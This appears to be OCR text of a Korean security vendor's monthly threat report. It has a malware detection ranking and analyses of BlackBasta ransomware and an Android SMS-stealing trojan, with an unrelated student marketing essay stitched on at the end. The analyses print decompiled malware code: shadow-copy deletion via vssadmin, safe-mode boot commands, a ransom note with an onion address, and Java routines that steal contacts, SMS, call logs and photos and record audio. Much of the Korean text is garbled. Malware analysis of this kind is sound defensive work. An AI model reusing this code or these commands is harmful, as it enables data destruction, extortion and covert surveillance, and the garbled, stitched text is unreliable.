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1 9MIAE A U 2N
2- =" 1o-1l-— ﬂxl o7:"
4 oMdAE TOP15
dg AHIE Top 15 = AFEA PCOIM EfX|El AERES 7|z AMESH SAIQILICH.
2022 'A 12 #ojll= Trojan.Acad.Bursted.AK, Worm.ACAD.Bursted, Worm.ACAD.Kenilfe, Worm.IM-VB.as,
JS:Trojan.Cryxos.4304, Gen:Variant.Tedy.1958, Win32.Neshta.A 28T =7t MEA| Top15 o TSt 2
X't 11 2ot H| Wl M22 AEIFET} Che TSRS T
M= Tigjeh o TS QEIHE (AutoCAD) 2 MASS AY A7l AYTER Bfels|Rlon, 02 2
HEQIZS TIEsliF= KMS HackTool & MHTC Lo X[EXOZ Top =2l0f| =S| EHX| &1 QJQLIE}.
= = opMAC ZlcH ikl et 2)
1 New Trojan.Acad.Bursted. AK Trojan 106,683
2 T2 Misc.HackTool. AutoKMS ETC 37336
3 - Gen:Variant.TDss.49 ETC 33,948
4 New Worm.ACAD.Bursted Worm 30,165
5 Va4 Exploit. CVE-2010-2568.Gen Exploit 29122
6 ™2 Application.Generic.3173472 ETC 24,010
7 ™5 Trojan.ShadowBrokers.A Trojan 21,212
8 New Worm.ACAD.Kenilfe Worm 17,549
9 New Worm.IM-VB.as Worm 17,382
10 1 Misc.HackTool. KMSActivator ETC 17243
1 5 Backdoor.Generic.792814 Backdoor 16,702
12 New JS:Trojan.Cryxo0s.4304 Trojan 14,871
13 +v3 Application.Hacktool. KMSAuUto.BQ ETC 14,674
14 New Gen:Variant.Tedy.1958 ETC 14,398
15 New Win32.Neshta.A Virus 13,845
M| 7, AMIE ARSI 2 EAIE Bilo] MESH 2l 2022H 128 01 ~20223 128 31
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12
0x
kU
In
ofm
X
%o
Hr

otdIE RYUE HIE
otMTAC QY H|E0|M EZ0|=20KTrojan) K&t 7[EHETC) &
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HHEOf
(Backdoor...
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[BlackBasta]
EIE FAM HI1M

e

SiiE HEoi= 20221H 4 FRE 2ES| LS| ARBIRL Qakbot 0ff 2foh =] FEE|= SO|2t it
0| X0i| dgEl= AMARS2 BlackBasta #a%|0{01] Y EICt D 224X ULt SAxi7HK]E F2 O|= 7|¥S0|
S2 UE0] &1 oLt O|= LHOfA distn A= T RE|Lete 2t Fo|vt ARsiCt

=2 H1X0||AM= ‘BlackBasta’ 2HAY|O{0| CHSH AbAM| EA45H10X} SHCF

10
40
J

F E

L

127t S=E

S5 Adis LXK S| 2l FEIAS AREeith FEIAS| 0|F2 “dasjdhas.0”0] 2t
olO

dword 487FB8 = OpenMutexW(0x1lF000lu, 0, L"dsajdhas.0");
if ( dword 4B7FB8 )

sub 41A4D0(L"Mutex detected\n");
5 TerminateProcess(0);
goto LABEL 22;

}
dword 487FB8 CreateMutex L"dsajdhas.0");

2) ol 22| sl

BER0NE ALEXIOIA| RI=S Y MH|AQ1 AL =/ 7SS MSHIT.
=5 Mx SARES TEE o Algol| MEet molut 2H S =R
RIERRS 0] 7158 Ssio] Qesiel Til0| ZRUE| 242 WRIsH| 2IsH Of2lel FHOIR AAY =2l 7|52
ulsistch

sub 43BE60("C: \.Wlnduws.\SysttJ.Vm \vssadmin.exe delete shadows /all /quiet");
sub 43BE60("C:\\Windows\\System32\\vssadmin.exe delete shadows /all /quiet");

ESTsecurity copyi
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3) MulA S5
7|E0f| EXdk=

sz Ao oS =

Fax MHIAS ARSI XE7| KIS MES Fax AHIAZ SZ$iC), o= AJARIO] T2
s} AlZICk

if ( DeleteService( ) )

sub 41A4D0(L"Service deleted\n");:

else

{

etLastError();
sub 402EB0(&unk 4883E8, L"Service cannot be deleted: ");
= sub 40A0A0( ' |

sub_404R00( ¥

if ( ICloseServic

ndle (

)
sub 41A4D0(L"Cannot close handle\n");

else

sub_41A4D0(L"Choosen service cant be stopped\n");

, 0xFO1FFu, 0xl1l0u, 2u,
[O2 3] 7|1 ME|A Al 22

0012FBB 0 EERH R

8812FB84| GO1B3BEA
0012FB8E| OO012FE44
8812FB8C| 6812FC10
B812FB98( G88FB1FF
8812FB%4| 608006168
B012FB28| GO0800OB2
0012FB9C|( 000880081
8812FBAB| 681CH518
B812FBAL| 009000680
B812FBAE| GO080008O
8812FBAC| GO0800086
0812FBBO| 000000080
8812FBB4| 00880006808

rCALL to CreateServicel from BlackBas.B@@84BCCED
hManager = @81B3BEA

ServiceMame = "Fax"

DisplayMame = "Fax"

DesiredAccess = SERVICE_ALL_RCCESS
ServiceType = SERVICE_WIN32_OWH_PROCESS
StartType = SERUVICE_AUTO_START

ErrorControl = SERUICE_ERROR_HORMAL
BinaryPathHame = "C:WlUsersWtestWDesktopWBlackBasta.exe™
LoadOrderGroup = HULL

pTagld = HULL

pDependencies = HULL

ServiceStartHame = HULL

LPassword = HULL

[72! 4] Fax MH|A 52

& ax=se) BE7) [F=8(E=R =5
o BEE =270V SHZRIIA) E2SZH)
>~ 00 ESENT HIRE z= GI0| &
| eventlog 8)(71228) REG_SZ @ ez
] E\-?rltS}-ste-m E ab| DisplayName REG_SZ Fax
exfa
) Fastiat N i-[&]Errc-rCc-ntrc-I REG_DWOCRD 0x00000001 (1)
7 = 2b|ImagePath REG_EXPAND_SZ C:#UsersitestwDesktopiBlackBasta.exe
| fdc ab]CbjectName  REG_SZ LocalSystem
- ) #dPHost fie| Start REG_DWORD 0x00000002 (2)
FDResPub 54 Type REG_DWORD 0x00000010 (16)
5. . Filelnfo
. Filetrace i
4 | ] b 4 T |
HIEWHKEY_LOCAL_MACHINERSYSTEMSCurrentControl Set¥serviceswrax

ESTsecurity Copyright©2022 ESTsecurity Corp A
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4) HigfetH HE med 9l of0|Z m

%temp% AZ Of2H0| dlaksjdoiwg.jpg, fkdjsadasd.ico TI0| 2f2t MME|T AT} etz E|H HieksHI}
Ofo|20| HAEIC} ico OIS 2X|AEZ| HE "HKEY_CLASSES_ROOT\.basta\Defaulticon”"dl| SZ%[0f
Yo7t 2=E|H DE MS| 0j0|20| SYSHH| HAEICE

Your network is encrypted by
the Black Basta group.
Instructions in the file

readme.txt

sub_4033E0 (&
LOBYTE
5 = &

FormatMessageW(0x1000u, 0, v7, 0, & -, Ox64u, 0);

[0% 7] ixIAE2]0) S2E ojoj2 T 52 3=

(=T i

[=)

T T

(2] 8]t 20| MES $ P TITES Ms|o] AIAUS WS Bict. TH=E &
=

o
AHSI M ADTHE ARSI,

[> T
1]
rlo
I-_!-
ra
Ha
[N
HU
Ral
18]
Jot
-
Q
X
R
o
[>
i
Pal
Ofn
|0

1f ( s_regCreateKey(

WinExec( "becdedit /set safeboot network”, 0);
WinExec( "C:\\Windows\\System32\\bcdedit.exe /set safeboot network", 0);
WinExec("C:\\Windows\\SysNative\\bededit.exe /set safeboot network",
: sub_40EB00 (&v22
3;
_409DA0(v7);

v28 = =1;
sub_409120(&v22);

v26 = &vl6;

sub_4061C0 (&unk_486294);
w7 _l:

&
F

Ié shutdown -r -f -t 0", 0,

[03 8] QFHTE Bl Ay

ESTsecurity « | curl . ! 1



I Lzoh= AFHEE0A ZIMEICE THY fo9k= ChaCha20 2t RSA-4096 2112|552 AFESIH SHAIC
SM7 |2 Y=elelt). efest Mie| A=t nid SE2 [# 1), [H 2]2t 211 SHXC| 3707|= Base64 2 Q12T
E|0f Sl=2E E HEl= SORUCE

$Recycle.Bin, Windows, boot

[E 1] Y53} ®e| 22

readme.txt, dlaksjdoiwq.jpg, NTUSER.DAT, fkdjsadasd.ico

[E 2] Y=ot He| o

K14PmKX7rbdGXL/c+FEvwoT3I57]
NIM”H(JHHHE\[JEI;J.HP].EIF L

o tesh= FA| DiUS ASSt 81X oD MSERE] 64 bytes 37|22 3t 1 LIS 128 bytes = ASSHE
SIX| Q4=Ct O Ckg CHA| 64 bytes Tt S2tE TIASICY. EEEW 128 byte ¥ E|0{M A=otE St ot 20|

512 bytes 0H2 I A=et 2HE FEIt FI7IE MEELCE Yot =EH “[7|E IYH] [basta]” SEHXIE
F7fott.

OFFSET 0o 01 02 03 04 05 06 07 08 09 0A OB OC 0D OE OF

00000000 | 25 SO 44 46 2D 31 2E 34 04 25 E2 E3 CF D3 04 31 X%PDF-1.4 %4%I0.1
00000010 20 30 20 6F 62 6A 0A 3C 3C 20 OA 2F 43 72 65 61 0 obj.<< ./Crea
00000020 74 6F 72 20 28 43 61 6E 6F 6E 20 53 43 31 30 31 tor (Canon SC101
00000030 31 29 0A 2F 43 72 65 61 74 69 6F 6E 44 61 74 65 1).-/CreationDate
00000040 | 20 28 44 34 32 30 31 35 30 35 32 36 31 30 30 39 (D:2015068261009
00000050 35 36 2B 30 39 27 30 30 27 29 0A 2F 50 72 6F 64 S56409'00'). - Prod
00000060 | 75 63 65 72 20 28 49 44 20 53 63 61 6E 20 55 74 wucer (IJ Scan Ut
00000070 | 69 6C 69 74 79 29 QA 3E 3E 20 OA 65 6E 64 6F 62 ility).>» .endob
00000080 64 OA 32 20 30 20 6F 62 64 04 3C 3C 20 DA 2F 50 3.2 0 obj.<< /P
00000090 61 67 65 73 20 33 20 30 20 52 20 0A 2F 54 79 70 ages 3 0 R /Typ
000000DAD 65 20 2F 43 61 74 61 6C 6F 67 20 0A 3E 3E 20 DA e /Catalog .>>
000000BO | 65 6E 64 6F 62 6A 0A& 34 20 30 20 6F 62 6A 0O& 3C endobj.4 0 obj. <
000000Co  3C 20 2F 57 69 64 74 68 20 37 34 20 2F 48 5 69 < /Width 74 s/Hei
000000D0 | 67 68 74 20 31 30 36 20 O0A 2F 42 69 74 73 50 65 ght 106 .~BitsPe
O00000ED 72 43 6F 6D 70 6F 6E 65 6E 74 20 38 20 2F 43 6F rComponent 8 /Co
000000F0 | 6C 6F 72 53 70 61 63 65 20 2F 44 65 76 69 63 65 lorSpace /Device
00000100 | 52 47 42 0A 2F 46 69 6C 74 65 72 20 2F 44 43 54 RGB.-Filter /DCT
00000110 & 44 65 63 6F 64 65 20 2F 4C 65 6E 67 74 668 20 31 Decode /Length 1
00000120 | 32 31 31 35 20 3E 3E 20 04 73 74 72 65 61 6D D& 2115 »>  stream
00000130 | FF D8 FF EO 00 10 44 46 49 46 00 01 01 01 01 2C Y@Ya JFIF ,,,,,,
00000140 ' 01 2C 00 00 FF E1 01 1C 45 78 69 66 00 00 4D 4D CExif MM

Second File - C:\ransome_backup\test1.pdf.basta
OFFSET 0o 01 02 03 04 05 06 07 08 09 0A OB OC 0D OE OF

00000000 | 35 14 2C 40 62 73 BC DO Fa 8B F1 DD 30 A0 18 B4 §.  @bskbulfY0 .-
oooooo10 74 A8 70 OF FD 9E 1C ED 79 50 EO 44 27 F8 B8 B8 =z p.vl.ivPal'e,,
00000020  E3 94 A2 DO A7 &b 44 OE 75 B2 S8 3F 37 A9 EA 28 &)obS|J ulX?70&(
00000030  4F C8 35 1B 26 83 64 57 24 6F SD 9C 7C 2E FF 61 OES.&1dW=o]l|.¥a
00000040 | 20 28 44 34 32 30 31 35 30 35 32 36 31 30 30 39 (D:201505261009
0oooooso - 35 36 2B 30 39 27 30 30 27 29 0A 2F 50 72 6F 64 S56+409'00') . -Prod
00000060 75 63 65 72 20 20 49 44 20 53 63 61 6E 20 55 74 ucer (IJ Scan Ut
00000070 69 6C 69 74 79 29 0A 3E 3E 20 0A 65 6E 64 6F 62 ility).>> .endob
00000080 | 64 0OA 32 20 30 20 6F 62 64 04 3C 3C 20 0A4 2F 50 3.2 0 obj.<¢ /P
00000090 | 61 67 65 73 20 33 20 30 20 52 20 0A 2F 54 79 70 ages 3 0 R ./Typ
000000AD @ 65 20 2F 43 61 74 61 6C 6F 67 20 0A 3E 3E 20 04 e ~Catalog .»» .
000000B0 | 65 6E 64 6F 62 6A 0A 34 20 30 20 6F 62 6A OA 3C endobj.4 0 cbj . <
000000C0 | SE C3 74 3D B3 E2 2C 7E EF 68 0A 42 E1 E4 82 DE “%z=1& “ih.Baalb
goooooDo  FD 95 31 A9 7B DA D2 E2 B3 A4 BE 76 2B 78 F1 0B yll@{U0a3R§v+xn
00D0000E0  F3 13 76 89 32 F8 53 2E A2 C2 BA 1F 29 49 C8 0A o.vl2eS.cA?. )IE
000000F0 59 BF 9C D1 OF 2E 06 10 5C 92 D2 A4 24 98 5E 57 Vil N OEE
00000100 52 47 42 DA 2F 46 €9 6C 74 65 72 20 2F 44 43 54 RGB.-Filter /DCT
00000110 @ 44 65 63 6F 64 65 20 2F 4C 65 6E 67 74 68 20 31 Decode /Length 1
00000120 32 31 31 35 20 3E 3E 20 04 73 74 72 65 61 6D 0A& 2115 »> .stream.
00000130 FF DS FF E0O D0 10 44 46 49 46 00 01 01 01 01 2C w@ya. JFIF.. . ..,

(O3 10] Y=t /< Hlw med

ESTSECHHT}‘ Copyrlght22022 ESTsecurity Corp All rights reserved 12



L readme.txt 2023-01-13 25 3. HAE 2A 1KB
Bl test1 pdfbasta 2023-01-13 @= 3.. BASTA IiY 1,851KB
B test2.docx basta 2023-01-13 2= 3.. BASTA IiY 594K8
B test3 exe basta 2023-01-13 @5 3.. BASTA IiY 1,104K8
Bl test2.dll basta 2023-01-13 @5 3.. BASTA IiY 1,554K8
B tests.hwp.basta 2023-01-13 @5 3.. BASTA IiY 358K8
B test6 zip basta 2023-01-13 2= 3.. BASTA Y 3,322KB
Bl 17 ong basta 2023-01-13 @5 3.. BASTA Y 246KB

(02 11] YB3} 2tz 3jH

2=z 0= 2t SC0HCt 2Hyllo] Y Atalnt ojed Soot PHE HEl= "readmetxt” By LES
o

=l MAS E76t7| 26 23210 L3t company id £ 7HX|1 TOR E2tRMZE M4 o2t

o) HEE M) 221V =22H)

Your data are stolen and encrypted -
The data will be published on TOR website if vou do not pay the ransom

You can contact us and decrypt one file for free on this TOR site

{vou should download and install TOR browser first hitps://torproject.org)
https://aszsbsoya565v |u2cBbzybyf iebkchtvweytvo | t33sTTam | Tnvpxyd .onion/

Your company id for log in: caBaf87d-d1c8-45d4-8e60-ce0ha9f 09587

r

[O212] HERlo =E

ESTsecurity CopyrighiB2022 ESTsecurity Corp All rights reserved. 13



7) E2 4

HE-EOM LHE E2 T ofHO|C 27015 3kl S07HH [2E

Chat Black Basta

CcC & aazsbsgya565vlu2cbbzybyfiebkcbtwveytvolt33s77xypif nypxyd.onion = O

@ Black Basta

S

Write your company name

Type company id, to open chat

Chat Black Basta

- O

C @& aazsbsgya565vlu2cbbzybyfiebkebtvveytvolt33s77xypi7nypxyd.onion w O %

@ Black Basta

ESTsecurity

0 d 00:00:00

Go to blog

¢@ Dropfiles (Send message)

14



30 7E:|§
BlackBasta #H&90i= AFEAL PC 2| H|O|HE =25l 2TE 276t AHITE0|CE siY AHTEE= XP|
RIS MHIAZ S2E5t 5 PP EZ THEEISI0] AFRALe| IIUS

Lot C&C HES ofA| GOt f=els|7| ti20| E2ts 2/ HHTS Al8ots 7I¥Ex Mo S50 o 2
ZFO|E 7|S00f eitt.

MEfM /S o] fiBlIME 712 2ot A8 &40, =R, OHSEAOIMS £[LC2 YH|0|Es{of

1 1

oIt ot S0t AtzE YIIHOR ofF DMLl S2tRE MH|A Soi| s TBIE £|astet 4~ ATS sHof

11
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[Trojan.Android.SmsSpy]

AGIE FA HIA

I
>
i
e}

Eibf| 7|=S 2&dh= AN 40| S716t2 ACL O EMofM ATHE AD|E2 S
H

j §
HoUH EfHie|At CHE 2|AlZ HHRAS # LHE2 CthS20lSICt.

Soust EHIBIAE AFRISI0] BHO| ZIsEls S ADIMSS 20| LIS CIZXIB URL S Sof SESK= oy
WSS ML S DCS BRI ATk B SUT A TH0| 2XfS| LSS L2lsiol SUs oY US
QEmst U ZHolct,

ofd 0| Adt= FR ofd Al el HE EF |t &M misiAe] 22 AN|YE FESICL & Tfohxt=
Kl E2= ALO[of| Z1HAE L El= Zd0|Ct.
2|0 AR EFShs 71l HEE Tl 2XF 370)| ZEEICL Ol= 2= SAXES o SHe 33 232

O[O X|A| ElCt.

Eibl 7|RIEE E&dh= AD0|d SH0| O{TS| 2atHel Olf= 2elRlS S¢ &F T0i7F L4XQ Hict THofsh=
XO|Lt EfB=| A0l AHIXIA] XIS S¢F QIS Sh= olddat BEd QUE A= =5 4= It

2

2 BIMOME 22 AT A= Trojan.Android.SmsSpy 244 HS ATHE T Z SIZUCE
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Trojan.Android.SmsSpy 24
EAE DISHRIA| &t}

OO o
ChE2 ofd ¥S

TSk Eiu A0 X SHHOICE

23] 12 YAl9| 8F0|
FAZ WX 48 OF
ZA| 9%/

HASIHL hitps/

O 0

e
STHS (5808* ¥ rrikxgf

= 8
AEUXZEF EHFY

L|C}.

i C O 11

(2" 1] =Ef A00d

e Ho[X|2 AEZECL ChE

e ey BiAe] YO SEst Ut BARISS H

Hi=|AS ARt A0l

AN
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publxc void devicelInfo() {
Manager telephonyManager® = (TelephonyManager)this.context.getSystemService(“phone™);

if(telephonyManager®

this.
this.
this.

this

this.
this.
this.
this.
this.
this.

Keygua

information

information

dManager keyguardManager® = (KeyguardMa

information.
information.
.setSoftwareVersion(telephonyManager®.getDeviceSoftwareVersion());
.information.
information.
informotion.
information.
information.
information.

= null) {
setPhoneNumber(telephonyManager®.getLlinelNumber());
setIMEI(telephonyManager®.getDeviceld());

setCountryCode(telephonyManager®.getNetworkCountryIso());
setOperatorCode(telephonyManager®.getNetworkOperator());
setOperatorName(telephonyManager®.getNetworkOperatorName());
setSimOperatorCode(telephonyManager®.getSimOperator());
setSimOperatorName(telephonyManager®.getSimOperatorName());
setSimCountryCode(telephonyManager®.getSimCountrylIso());

.setSimSerial(telephonyManager®.getSimSerialNumber());

ger)this.context.getSystemService("keyguard");

if(keyguardManager® != null 8% (keyguardManager®.inKeyguardRestrictedInputMode())) {
this.information.setScreenlLocked(true);

}

ESTsecurity Copyriaht©2022 ESTse

‘ ager powerManager® = (PowerManager)this.context.getSystemService("power™);
th1s information. setScreenON(powerManagere isScreenOn());
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private List getContacts() {
ArrayList arraylist® = new Arraylist();
try {

Cursor cursor® = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,

if(cursor@ != null &% cursor@.getCount() > @) {
int v = cursor@.getCount();
cursor@.moveToPosition(this,contactCurrentPosition - 1);
int vl = cursor@.getColumnIndex(”_id");

int v2 = cursor@.getColumnIndex(”lookup”);
int v3 = cursor9.getColumnIndex(“display_name");

String s = DeviceUtils.getTel(this.context);
int v4 = 9;
while((cursor@.moveToNext()) && ((long)v4) < 200L) {
ContactBean contactBean® = new ContactBean();
contactBean@.deviceNum = s;
contactBean®.lookUpKey = cursor@.getString(v2);
contactBean@.contoctlId = (long)cursor@.getint(vl);
String sl = String.valueOf(contactBean®.contactid);
contactBean®.contoctName = cursor®.getString(v3);
if(cursor®.getInt(cursor®.getColumnIndex("has_phone_number”))
contactBean@.phoneNum = “";

>0) {

Cursor cursorl = this.context.getContentResolver().query(ContactsContract.CommonDat

if(cursorl.moveToFirst()) {
do {
label_118:

String 52 = cursorl.getString(cursorl.getColumnIndex(“datal"));
cursorl.getString(cursorl.getColumnIndex(“data2"));

(D12 9] =i &% 2=

CHS O212 SMS £ EFloh= 2=0[ct.

T

public List getSmsInPhone() {
ArraylList arraylList® = new Arraylist();
try {

Cursor cursor® = this.context.getContentResolver().query(Uri.parse(”content://sms/"),

if(cursor@.moveToFirst()) {

int v = cursor@.getColumnIndex("”_id");

int vl = cursor®.getColumnIndex("address");

int v2 = cursor@.getColumnIndex("body");

int v3 cursor@.getColumnIndex("date");

int v4 = cursor@.getColumnIndex("type”);

String s = DeviceUtils.getTel(this.context);

do {

label_74:
SmsBean smsBean® = new SmsBean();
smsBean®@.deviceNum = s;
smsBean®.smsId = cursor@.getInt(v);
smsBean®.otherNum = cursor®.getString(vl);
smsBean®.smsContent = cursor@.getString(v2);
smsBean®.smsTime = this.format.format(new Date(cursore
smsBean®.smsType = cursor@.getInt(v4);
arraylist@.add(smsBean®);
boolean z = cursor@.moveToNext();
goto label_188;

[32) 10] SMS %] A=
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private void sendSms(int v, String s, String s1) {
synchronized(this) {
if(this.sendSmsReceiver == null) {
this.sendSmsReceiver = new SendSmsReceiver(this);
IntentFilter intentFilter® = new IntentFilter("action.sms.send");
this.context.registerReceiver(this.sendSmsReceiver, intentFilter@);

}

Intent intent® = new Intent(“action.sms.send");
intent@.putExtra(“id", v);
intent@.putExtra("number”, s);
intent@.putExtra(“body”, sl1);
Pendinglntent pendinglntent® = Pendinglntent.getBroadcast(this.context, @, intente, 0);
if(sl.length() > 70) {
ArrayList arraylist® = SmsManager.getDefault().divideMessage(sl);
ArraylList arraylistl = new ArraylList();
for(int vl = @; vl < arraylList@.size(); ++vl1) {
arraylistl.add(pendingIntent@);
}

SmsManager.getDefault().sendMultipartTextMessage(s, null, arraylist@, arraylistl, null);

else {
SmsManager.getDefault().sendTextMessage(s, null, sl1, pendingIntent®, null);

[22! 11]SMS T4 2=

SMS & &= 7[S2 DfohiXte] AHKME 7|22 ANYS RESH| 2[6H AFESICL.
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public List getCallRecordInPhone() {
Arraylist arraylist@® = new Arraylist();
try {
Cursor cursor@ = this.context.getContentResolver().query(AppConstants.CALL_RECORD_URI_ALL,
if(cursor®.moveToFirst()) {

String s = DeviceUtils.getTel(this.context);

do {

label 59:
String s1 = cursor@.getString(cursor®.getColumnIndex(“name"));
String s2 = cursor®.getString(cursor®.getColumnIndex(“number”));
long v = cursor®.getlong(cursor@.getColumnIndex("date™));
int vl = cursor@.getInt(cursor®.getColumnIndex(“duration”));
int v2 = cursor@.getInt(cursor@.getColumnIndex("type™));
CallRecordBean callRecordBean@ = new CallRecordBean();
callRecordBean@.deviceNum = s;
callRecordBean@.contaoctNome = s1;
callRecordBean@.otherNum = s2;
callRecordBean@.createTime = this.format.format(new Date(v));
callRecordBean®@.duration = vl;
callRecordBean@.type = v2;
arraylist®.add(callRecordBean®);
boolean z = cursor@.moveToNext();
goto label_104;

(02 12 S8t 7| =¥ 2=
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private void deleteCalllog(String s) {
try {

ContentResolver contentResolver® = this.context.getContentResolver();

Cursor cursor® = contentResolver®.query(Calllog.Calls.CONTENT_URI, new String[]{"_id"}, "number=2"

if(cursor@.moveToFirst()) {
String s1 = cursor@.getString(cursor@.getColumnIndex("name"));
String s2 = cursor@.getString(cursor®.getColumnIndex("number™));
long v = cursor@.getLong(cursore.getColumnIndex(“date"));
int vl = cursor@.getInt(cursor@.getColumnIndex(“duration™));
int v2 = cursor@.getInt(cursor@.getColumnIndex(“type“));
CallRecordBean callRecordBean® = new CallRecordBean();
callRecordBean@.deviceNum = DeviceUtils.getTel(this.context);
callRecordBean@.contoctNome = s1;
callRecordBean@.otherNum = s52;
callRecordBean@.crecteTime = this.format.format(new Date(v));
callRecordBean@.durotion = vl;
callRecordBean®.type = v2;
String s3 = JsonUtils.tolSONString(new BaseRequest(this.context, new UploadCallRecordRequest(c
WSManager.getinstance().sendMessage(WsTypeEnum. . DEVICE_ONLINE, s3);
ProcessCommand. feedback(this.context, CommandBean.UPLOAD_CALL_RECORD, true, " #Pl—ildei);
String[] arr_s = {cursor@.getInt(®) + ““};
int v3 = contentResolver®.delete(Calllog.Calls.CONTENT_URI, "_id=?", arr_s);

if(v3 > @) {
Log.d("PhoneMonitor”, "deleted success:"™ + s);
return;

}

[12l 13] £3t 7|2 Al F=

Chg D2 441 S318 el o[,

if((MyApplication.curPhoneMonitorState) && (sl.equalslgnoreCase(TelephonyManager.EXTRA_STATE_RINGING))) {
Log.d("PhoneMonitor”, "W : ringing");
audioManager®.setRingerMode(0);
iF(Build.VERSION.SDK_INT >= 28) {
try {
if(context®.checkSelfPermission("android.permission.ANSWER_PHONE_CALLS") != @) {
goto label _157;
}

((TelecomManager)context@.getSystemService("telecom”)).endCall();

[0 14] $41 £} 748 3=
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File file® = new File("/sdcard/DCIN");
if(!filed.exists()) {

return;
¥
String s = file@.getAbsolutePath() + “.zip";
File filel = new File(s);
try {

ZipUtil.zip(file®.getAbsolutePath(), s);

catch(ICException iOException®) {
i0Exception®.printStackTrace();

¥

UploadFileRequest uploadFileRequest@ = new UploadFileRequest(“”photoAlbumFile”, filel.getName(),
WSManager wSManager@ = WSManager.getInstance();

String s1 = JsonUtils.toJSONString(uploadFileRequest®);
wSManager®.sendMessage(WsTypeEnum.DEVICE_ONLINE, sl1);

WSManager wSManagerl = WSManager.getInstance();

byte[] arr_b = ProcessCommand.this.readFile(filel);
wSManagerl.sendMessage(WsTypeEnum.DEVICE_ONLINE, arr_b);

[02 15] oj|x| 2% A=

LSS QLIRLE =36k= F=0|Ct.

public void run() {

try {
File file® = new File(Environment ,getExternalStorageDirectory() + “/lywi/");
if(1file@.exists()) {

file@.mkdirs();

}
ProcessCommand . this.recordfile = new File(file®, ProcessCommand.this.simpleDateFormat.format(new Date()) + ".3gp™);
Mediafecorder mediaRecorder® = new Media order();
ProcessCommand.this.medioRecorder = mediaRecorder®;
ProcessCommand ., this .medioRecorder, setAudioSource(l);
ProcessCommand. this.mediaRecorder.setOutputformat(1);
ProcessCommand.this.medioRecorder.setAudicEncoder(l);
ProcessCommand . this.medicRecorder.setOutputFile(ProcessCommand, this.recordfile.getAbsolutePath());
ProcessCommand ., this .medioRecorder.prepare();
ProcessCommand . this .medioRecorder.start();

}
catch(I0Exception i0Exception®) {

[02] 16] QLIS £ F=
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public List getAllApps() {
int v;
Arraylist arraylist® = new ArraylList();
try {
Packagelanager packageManager® = this.context.getApplicationContext().getPackageManager();
List 1ist@ = packageManager@.getInstalledPackages(0);
String s = DeviceUtils.getTel(this.context);
v=20;
while(true) {
label_14:
if(v >= liste.size()) {
return arraylList®;
}

PackageInfo packageInfo@ = (PackageInfo)liste.get(v);

if((packagelnfo@.applicotionInfo.flags & 1) == @) {
AppBean appBean® = new AppBean();
appBean@.deviceNum = s;
appBean@.appCode = packagelnfo@.versionName;
appBean@.oppNome = packagelnfo@.applicationinfo.loadlabel (packageManagere).toString();
appBean®.oppPockageNome = packageInfo®.packcgeNome;
WSManager.getInstance().sendMessage(WsTypeEnum.DEVICE_ONLINE, JsonUtils.tolSONString(new Ur
WSManager wSManager® = WSManager.getInstance();
byte[] arr_b = this.drawableToByte(packageInfo®.opplicotionInfo.loadlcon(packageManager®));
wSManager®.sendMessage(WsTypeEnum, DEVICE_ONLINE, arr_b);
arraylist@.add(appBean8);

[O2! 17] MX| ¥ E|AE EBX| FE

CE2 3 ¢el €| 6fE L] 26l ot= 2 E[0] [l Y 2|AEO|C}.

AppConstants.packageNamel ist.add("pro.huobi");
AppConstants.packageNamelist.add("com.btckorea.bithumb");
AppConstants.packageNamelist.add (" com.dunamu.exchange™);
AppConstants.packageNamelist.add("com.coinbit.global.android.exchange");
AppConstants.packageNamelist.add("coinone.co.kr.official™);
AppConstants.packageNamelist.add("kr.co.zestcnt.coinzest");
AppConstants.packageNamelist.add("com.ktcs.whowho");
AppConstants.packageNamelist.add("com.andr.evine.who");
AppConstants.packageNamel ist.add("gogolook.callgogolook2™);
AppConstants.packageNamelist.add("com.infinigru.police.phishingeyes");
AppConstants.packageNamelist.add("com.ahnlab.v3mobilesecurity.soda");
AppConstants.packageNamelist.add("com.estsoft.alyac");
AppConstants.packageNamel ist.add("jp.naver.lineantivirus.android");
AppConstants.packageNamelist.add("com.sktelecom.tguard");
AppConstants.packageNamelist.add("kr.co.adtcaps.mobileguard");
AppConstants.namelist.add("Huobi Pro");
AppConstants.namelist.add("4%");

AppConstants.namelist.add("¥HE");

AppConstants.namelist.add("=Zo4");

AppConstants.namelist.add("Z¥");
AppConstants.namelist.add("ZQH2E");
AppConstants.namelist.add("x%");
AppConstants.namelist.add("som0i=iz");
AppConstants.namelist.add("%23");
AppConstants.namelist.add("MEI=3=");
AppConstants.namelist.add("AhnLab V3 Mobile Security");
AppConstants.namelist.add("¥osM");

AppConstants.namelist.add("diojt #a");
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95969982Document created in earlier version microsoft
office word.To view or edit this document. please click ("Enable editing”) from the yellow bar
aboveASSIGNMENTMCS 473: MARKETING MANAGEMENT & STRATEGYSTUDENT
NAME: Frank HuttonSTUDENT No: 207244 14INDEX No: 5056120CENTRE:
GREENFIELDSI. i. Guerilla marketing strategy refers to a swrprising advertising strategy and
with unconventional interactions to promote the products and services. Guerilla marketing
strategy is publicity practices, low-cost marketing advertising, verv much local target, and
getting quick attention. Consumer research is a systematic process to understand the consumer's
preferences, attitudes, motivations, buving behaviors of targeted consumers. Consumer research
is the scientific process that improves the demand for the product by successfully observing and
understanding the customer's practices. Consumer research keeps focusing on consumer trends
with the help of a variety of data, direct interaction with customers, tracking company sales with
the help of mathematical tools, and technique to understand consumer behaviors. Guerilla
marketing strategy very instant and for short term attention but consumer research is a very wide
concept and it has long term advantages to business and experts. Guerilla marketing keeps
focusing on the local market but consumer research much large and focusing on a variety of
customers and considering nations and also intemationally. Consumer research work on
scientific analysis of data and interpretation of information to produce and results that enhance
the product's demand and consumers can get the products they are looking for but guerilla
strategy is an advertising practice work for creating demand with the help of existing products in
the markets. Consumer behavior is a scientific process that works for producing new concept and
new products and service that fulfill the consumer's demand but guerilla strategy work for instant
response from consumers ii. Each and every product has a life cycle. Each product should go
through this cycle. Manufacturers are investing huge amount of money in research and
development activities and conducting market researches timely to check the impact of their
product in different market conditions. Let us first identify how many stages are there fora
product and what all are the different marketing mix separately. Product life Cvcle. Every
product pass through certain stages at different points of its life. They can be classified as
below? Developmental Stage 7 Introduction stage ?  growth
stage Tmaturity stage 7 Decline stage. Every product will definitely pass through the
decline stage or it will face an end. This happens dueto several factors like lack of proper market
research, technological degradation, changing preferences of the consumers, and certain natural
factors that are bevond the control of the manufacturers. Now let us get to know about the
marketing mix. The marketing mix is the set of tactical marketing tools used by the company to
pmduce a desired response ﬁom its lalget aud.lence It consists ofeverylhmg that a company can
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SHRIGH $4T1H2EOAS MS QUIAG| REl 44 T
